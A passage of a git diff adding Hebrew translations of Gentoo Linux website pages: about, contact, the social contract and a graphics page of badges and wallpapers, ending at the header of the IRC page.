+<license/>
+
+<version>1.6</version>
+<date>2006-05-07</date>
+
+<chapter>
+<title>אודות ג'נטו</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>מה זה ג'נטו?</title>
+<body>
+
+<p>
+ג'נטו היא מערכת הפעלה חינמית, המבוססת על לינוקס או על FreeBSD, אשר ניתן ליעל ולהתאים אותה
+עבור בערך כל שימוש או צורך.
+כיוונוניות וביצועים גבוהים, וקהילה מתקדמת של משתמשים ומפתחים, הינם סימני המפתח של חווית ג'נטו.
+</p>
+
+<p>
+תודות לטכנלוגיה שנקראת Portage, ג'נטו יכולה להפוך לשרת מאובטח אידאלי, תחנת פיתוח,
+שולחן עבודה מקצועי, מערכת משחקים, פתרון מוכלל (embedded), או כל דבר אחר - מה שתרצה
+שהיא תהיה. בגלל יכולות האימוץ הכמעט בלתי-מוגבלות שלה, אנו קוראים לג'נטו <b>מטא</b> הפצה.
+</p>
+
+</body>
+</section>
+<section>
+<title>מה זה Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> הוא הלב של ג'נטו, והוא מבצע מספר פונקציות מפתח.
+בראש ובראשונה, Portage הוא מערכת <e>הפצת התוכנה</e> של ג'נטו.
+כדי לקבל את התוכנות המעודכנות ביותר עבור ג'נטו, עלייך להקליד פקודה אחת:
+<c>emerge --sync</c>. פקודה זו אומרת ל Portage לדעכן את "עץ ה-Portage" מהאינטרנט.
+עץ ה-Portage המקומי שלך מכיל אוסף שלם של תסריטים (scripts) אשר Portage יכול להשתמש בהם
+כדי ליצור ולהתקין את החבילות המעודכנות ביותר של ג'נטו.
+נכון לעכשיו, יש לנו <uri link="http://packages.gentoo.org/categories">יותר מ- 
+10000 חבילות תוכנה</uri> בעץ ה-Portage שלנו, כאשר עדכונים וחבילות נוספות
+<uri link="http://packages.gentoo.org">מתווספים כל הזמן</uri>.
+</p>
+
+<p>
+Portage הוא גם מערכת <e>בניית והתקנת חבילות</e>. כשאתה רוצה להתקין חבילה, אתה
+כותב: <c>emerge packagename</c>, והחל מנקודה זו, Portage יבנה, באופן אוטומטי,
+גירסא מותאמת אישית של החבילה שבה אתה מעוניין, לפי המפרט המדוייק שלך, כאשר הוא
+מייעל אותה עבור החומרה שלך, ומוודא שכל הפיצ'רים האופציונליים שאתה רוצה - מופעלים -
+ואלו שאתה לא רוצה - לא.
+</p>
+
+<p>
+Portage גם שומר על המערכת שלך <e>מעודכנת</e>. הרצת הפקודה <c>emerge -uD
+world</c> -- פקודה אחת -- תבטיח שכל החבילות ש<e>אתה</e> רוצה על המערכת שלך,
+יעודכנו באופן אוטומטי.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/contact.xml b/xml/htdocs/main/he/contact.xml
new file mode 100644
index 00000000..feaf9040
--- /dev/null
+++ b/xml/htdocs/main/he/contact.xml
@@ -0,0 +1,127 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage lang="he">
+<title>יצירת קשר עם ג'נטו</title>
+
+<author title="כותב">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+<author title="מתרגם">
+  <mail link="wolf31o2@gentoo.org">Shimi</mail>
+</author>
+
+<abstract>
+איך ליצור קשר עם ג'נטו
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-08-01</date>
+
+<chapter>
+<title>עם מי ליצור קשר?</title>
+<section>
+<title>תוכן</title>
+<body>
+
+<ul>
+  <li><uri link="#intro">הקדמה</uri></li>
+  <li><uri link="#pr">יחסי ציבור/אירועים</uri></li>
+  <li><uri link="#www">מנהלי האתר</uri></li>
+  <li><uri link="#trustees">קרן ג'נטו</uri></li>
+</ul>
+
+</body>
+</section>
+
+<section id="intro">
+<title>הקדמה</title>
+<body>
+
+<p>
+"ג'נטו" היא הרבה דברים. זוהי הפצה מבוססת-קהילה של לינוקס. זוהי פילוסופיה של ניהול חבילות.
+זהו גם ארגון ללא כוונות-רווח. מסמך זה מיועד כדי לאפשר לכם ליצור קשר עם הקבוצה הנכונה בתוך
+ג'נטו, כך שהתכתובת שלכם תטופל מהר ככל האפשר.
+</p>
+
+<p>
+עבור מידע אודות אירועים מתקרבים, ראיונות, שאלות כלליות, או פשוט כדי לדעת עוד אודות
+ג'נטו ומוצרי ג'נטו, כנראה שתרצו לדבר עם מישהו מפרוייקט <uri link="#pr">יחסי הציבור</uri>
+של ג'נטו.
+</p>
+
+<p>
+למידע אודות אתר זה, או כל אתר אחר של ג'נטו שמאורח תחת שם המתחם 
+<c>gentoo.org</c>, כנראה שתרצו לדבר עם ה-<uri
+link="#www">מנהלי האתרים</uri> של ג'נטו.
+</p>
+
+<p>
+למידע אודות קרן ג'נטו, או כל דבר אחר הקשור לרכוש האינטלקטואלי, סימני המסחר וזכויות היוצרים,
+כנראה שתרצו לדבר עם <uri link="#trustees">חבר הנאמנים</uri> של קרן ג'נטו.
+</p>
+
+<p>
+אם אתם מחפשים תמיכה ג'נטו לינוקס או בכל מוצר או פרוייקט אחר של ג'נטו, עליכם לעבור
+לדף ה<uri
+link="/main/he/support.xml">תמיכה</uri> שלנו למידע נוסף.
+</p>
+
+</body>
+</section>
+
+<section id="pr">
+<title>יחסי ציבור</title>
+<body>
+
+<p>
+פרוייקט <uri link="/proj/en/pr/">יחסי הציבור</uri> של ג'נטו, ותת הפרוייקט
+<uri link="/proj/en/pr/events/">אירועים</uri> שלו, האם האחראיים עבור
+הפצת המידע אודות ג'נטו, כמו גם תיאום הנוכחות של ג'נטו בתוך הקהילה בתערוכות ובאירועים מסחריים.
+</p>
+
+<p>
+צוות יחסי הציבור הוא הצוות שככל הנראה תרצו ליצור איתו קשר, כיוון שהם הדלת לתוך הפעילות
+הפנימית של ג'נטו. אם אתם מחפשים חומר לכתבות, מישהו לראיין, או פשוט רוצים לדעת עוד לגבי
+ג'נטו ומה שיש לה להציע, צוות יחסי הציבור הוא הצוות שלכם. כדי ליצור קשר עם צוות יחסי הציבור,
+פשוט שלחו דואר אלקטרוני אל הכתובת <mail>pr@gentoo.org</mail>, ומישהו מהצוות ייצור
+איתכם קשר בהקדם האפשרי.
+</p>
+
+</body>
+</section>
+
+<section id="www">
+<title>מנהלי האתרים</title>
+<body>
+
+<p>
+תחזוקת הנוכחות של ג'נטו ב-web היא משימה לא פשוטה. לג'נטו יש צוות מיוחד של מנהלי
+אתר שתפקידם לשמור על האתר שלנו חד ומעודכן. אם יש לכם שאלה או הערה אודות 
+האתר של ג'נטו, זה הצוות שאתם מחפשים. ניתן ליצור קשר איתם על ידי שליחת דואר אלקטרוני
+אל הכתובת <mail>www@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+
+<section id="trustees">
+<title>חבר הנאמנים של קרן ג'נטו</title>
+<body>
+
+<p>
+<uri link="/foundation/en/">קרן ג'נטו</uri> היא מלכ"ר אשר הוקם כדי להגן על
+הרכוש האינטלקטואלי של ג'נטו. חבר הנאמנים הם השומרים הנבחרים של היישות המשפטית
+שנקראת ג'נטו בארצות הברית. אם השאלה שלכם היא בנושאים משפטיים, אזי תרצו
+לשלוח דואר אלקטרוני לכתובת <mail>trustees@gentoo.org</mail> וחבר מחבר הנאמנים
+יחזור אליכם בהקדם האפשרי.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/contract.xml b/xml/htdocs/main/he/contract.xml
new file mode 100644
index 00000000..c392bc48
--- /dev/null
+++ b/xml/htdocs/main/he/contract.xml
@@ -0,0 +1,129 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="he">
+<title>החוזה החברתי של ג'נטו</title>
+
+<author title="כותב">
+  הפרוייקט ג'נטו
+</author>
+<author title="עורך">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="מתרגם">
+  <mail link="gentoo@shimi.net">Shimi</mail>
+</author>
+
+<abstract>
+מסמך זה מכיל את השבועה לקהילת ג'נטו אודות החופש של התוכנה של ג'נטו, הפתיחות של תהליך
+הפיתוח של ג'נטו, והפידבק שאנו נותנים בחזרה לקהילת התוכנה החופשית.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>החוזה החברתי של ג'נטו</title>
+<section>
+<body>	
+
+<p>
+חוזה חברתי זה מיועד כדי לתאר בבירור את מדיניות הפיתוח והסטנדרטים הכלליים של צוות
+הפיתוח של פרוייקט ג'נטו. חלקים ממסמך זה הם נגזרת של <uri 
+link="http://www.debian.org/social_contract">החוזה החברתי של דביאן</uri>.
+באופן כללי הוא מאוד דומה, רק שמספר חלקים הובהרו והוספו להם תוספות, בעוד שאחרים
+נראו חוזרים על עצמם ולכן הוסרו. הערות תתקבלנה בברכה. אנא שלחו אותן לרשימת התפוצה
+<mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail> שלנו.
+</p>
+
+</body>
+</section>
+<section>
+<title>מה זה ג'נטו?</title>
+<body>
+
+<p>
+ג'נטו בפני עצמו הוא אוסף של ידע חופשי. ידע, בהקשר זה, ניתן להגדרה כתיעוד ו-metadata
+עם תפיסות או מתחמים הקשורים למערכות הפעלה ורכיביהן, כמו גם <uri
+link="http://www.fsf.org/philosophy/free-sw.html">תוכנה חופשית</uri>
+אשר נתרמה על ידי מפתחים שונים לפרוייקט ג'נטו.
+</p>
+
+<p>
+ג'נטו, מערכת ההפעלה, שאולה מבסיס התפיסה של הידע כפי שמתואר לעיל. מערכת הפעלה
+ג'נטו חייבת לרצות את הדרישה לאירוח-עצמי. במילים אחרות, למערכת ההפעלה צריכה
+להיות היכולת לבנות את עצמו מאפס על ידי שימוש בכלים וב-metadata שהוזכרו לעיל.
+אם מוצר המשוייך לפרוייקט רשמי של ג'נטו אינו עונה לדרישה הנ"ל, אזי המוצר אינו
+נחשב "מערכת הפעלה ג'נטו".
+</p>
+
+<p>
+רשימה  של הפרוייקטים הרשמיים של ג'נטו ניתן למצוא ב-<uri 
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml">Gentoo
+Metastructure</uri>. פרוייקט של ג'נטו אינו צריך ליצור מערכת הפעלה של ג'נטו
+כדי להיות מזוהה באופן רשמי.
+</p>
+
+</body>
+</section>
+<section>
+<title>ג'נטו הייתה ותישאר תוכנה חופשית</title>
+<body>
+
+<p>
+אנו נשחרר את התרומות שלנו לג'נטו כתוכנה חופשית, metadata או תיעוד, תחת רשיון GPL
+גירסא 2 (או מאוחרת יותר, לפי החלטתנו) או Creative Commons - Attribution / Share Alike גירסא 2 
+(או מאוחרת יותר, לפי החלטתנו). כל התרומות החיצוניות של ג'נטו (בצורה של קוד מקור המופץ באופן
+חופשי, קבצים מהודרים, metadata או תיעוד) יהיה ניתן להכללה בתוך ג'נטו רק אם אנו נהיה מורשים
+לעשות זאת מבחינה חוקית.
+למרות זאת, ג'נטו לעולם לא תהיה <e>תלויה</e> בתוכנה או ב-metadata אלא אם כן הם תואמים
+ל GNU GPL, ל GNU LGPL, ל-Creative Commons - Attribution/Share Alike או לרשיון אחר המאושר
+על ידי יוזמת הקוד הפתוח (<uri 
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+אנו שוקלים להרחיב את הפסקה הקודם שתדרוש שכל רכיבי הליבה של ג'נטו יהיו חייבים
+להתאים לרשיון המאושר על ידי  OSI <e>וגם</e> קרן התוכנה החופשית (<uri 
+link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>אנו ניתן חזרה אל קהילת התוכנה החופשית</title>
+<body>
+
+<p>
+אנו ניצור קשרים עם יוצרי תוכנה חופשית ונשתף איתם פעולה כשרק ניתן. אנו נשלח תיקוני-באגים,
+שיפורים, בקשות משתמשים, וכדו' אל היוצרים "העליונים" של תוכנות הכלולות במערכת שלנו.
+אנו גם נתעד באופן ברור את התרומות <e>שלנו</e> לג'נטו וגם כל שיפור או שינוי שאנו עושים
+למקורות חיצוניים שנמצאים בשימוש על ידי ג'נטו (בין אם בצורה של טלאים, tweak-ים של sed,
+או צורה אחרת). אנו מבינים שהשיפורים והשינויים שלנו הם הרבה יותר בעלי משמעות לקהילת התוכנה
+החופשית הגדולה יותר אם הם מתועדים ומוסברים באופן ברור, כיוון שלא לכולם יש את הזמן או היכולת
+להבין את השינויים בפועל הכלולים בתוך הטלאים או ה-tweak-ים עצמם.
+</p>
+
+</body>
+</section>
+<section>
+<title>אנו לא נחביא בעיות</title>
+<body>
+
+<p>
+אנו נשמור על <uri link="http://bugs.gentoo.org/">מסד נתוני דיווח הבאגים</uri>  שלנו
+פתוח לצפייה פומבית בכל זמן; דיווחים שמשתמשים יגישו באופן מקוון יהפכו לזמינים באופן
+מיידי לאחרים.
+</p>
+
+<p>
+חריגות מהכלל יבוצעו כשנקבל מידע הקשור באבטחת מידע או בקשרי מפתחים עם בקשה
+שלא לפרסמו לפני דד-ליין מסויים.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/graphics.xml b/xml/htdocs/main/he/graphics.xml
new file mode 100644
index 00000000..185405e8
--- /dev/null
+++ b/xml/htdocs/main/he/graphics.xml
@@ -0,0 +1,428 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/he/graphics.xml,v 1.1 2007/03/26 13:05:52 neysx Exp $ -->
+
+<mainpage lang="he">
+<title>גרפיקה של ג'נטו לינוקס</title>
+
+<author title="הארכיטקט הראשי הקודם">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="עורך">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="מתרגם">
+  <mail link="gentoo@shimi.net">Shimi</mail>
+</author>
+
+<abstract>
+רשימה של משאבים גרפיים שונים הזמינים לשימוש תחת תנאי השימוש בשמות ובלוגואים של ג'נטו
+</abstract>
+
+<license/>
+
+<version>2.9</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>איורים עם השם של ג'נטו</title>
+<section>
+<title>תנאי שימוש</title>
+<body>
+
+<p>
+הגרפיקה בדף זה נוצרה על ידי יוצרים שונים אשר מאשרים לכם להשתמש ולשנות אותה כפי שאתם
+רואים לנכון. השימוש בשם ובלוגו של ג'נטו כפוף ל<uri link="/main/en/name-logo.xml">הנחיות השימוש
+בשמות ובלוגואים של ג'נטו</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>תרומה</title>
+<body>
+
+<p>
+אם אתם מעוניינים לתרום גרפיקה לג'נטו, אנא השתמשו <uri
+link="http://forums.gentoo.org">בפורומים של ג'נטו</uri> קודם, כדי שאחרים יוכלו להעיר
+ולעזור לכם לשפר את האיכות של הגרפיקה.
+לאחר מכן צרו קשר עם <mail
+link="www@gentoo.org">צוות ה-WWW של ג'נטו</mail> ובקשו להוסיף את הגרפיקה שלכם.
+</p>
+
+<p>
+הצוות עשוי להחליט שלא לכלול את עבודתכם אם היא קרובה מדי לגרפיקה קיימת,
+לא זמינה במספיק רזולוציות, לא מתאימה לרוח של ג'נטו (למשל משום שהיא פוגענית)
+או מכל סיבה אחרת.
+</p>
+
+<p>
+הכללת גרפיקה בדף עשוייה לקחת זמן מה, אנא היו סבלניים.
+</p>
+
+</body>
+</section>
+<section>
+<title>גרפיקת ג'נטו כללית</title>
+<body>
+
+<p>
+<uri link="/images/gentoo-logo.svg">הלוגו G בפורמט
+svg שסופק על ידי Lennart Andre Rolland</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>סמלים של ג'נטו</title>
+<body>
+
+<p>
+<b>תנו לעולם לדעת שאתם רצים על ג'נטו לינוקס.</b>
+</p>
+
+<p>
+שימו תמונת <e>Powered by Gentoo</e> באתרים שלכם שרצים על ג'נטו, או השתמשו בסמלים של ג'נטו
+באתר, בבלוג ובחתימת הפורום שלכם או במקומות אחרים, ותנו קישור חזרה אל <uri link="http://www.gentoo.org">http://www.gentoo.org</uri> - 
+עזרו לנו להפיץ את השמועה! ספרו לאחרים כמה אתם שמחים עם ג'נטו לינוקס.
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">קטן</uri> - 
+    <uri link="/images/powered.png">בינוני</uri> -
+    <uri link="/images/powered-big.png">גדול</uri>
+  </ti>
+  <ti>
+    על ידי Sascha Schwabbauer
+  </ti>
+  <ti>
+    על ידי Ralph Jacobs
+  </ti>
+  <ti>
+    על ידי Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti/>
+</tr>
+<tr>
+  <ti>
+    by <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-7763-start-50.html">Szabó Bence</uri>
+  </ti>
+  <ti/>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>תמונות רקע של ג'נטו לינוקס</title>
+<body>
+
+<p>
+<b>שימו על שולחן העבודה שלכם תמונת רקע נחמדה של ג'נטו, והראו לקולגות שלכם שאתם מריצים ג'נטו לינוקס.</b>
+</p>
+
+<p>
+השתמשו באחת מ<e>תמונות הרקע של ג'נטו</e> כדי לייפות את שולחן העבודה שלכם. הראו לכל
+אחד שאתם מריצים את ג'נטו לינוקס, ומריצים אותו בגאווה.
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> - 
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    על ידי <uri link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי <uri link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri> - 
+    <uri link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי <uri link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי <uri link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    על ידי Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    על ידי Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    על ידי Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+     <uri link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    על ידי Przemysław Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    על ידי <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo 'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/irc.xml b/xml/htdocs/main/he/irc.xml
new file mode 100644
index 00000000..754ab9b1
--- /dev/null
+++ b/xml/htdocs/main/he/irc.xml
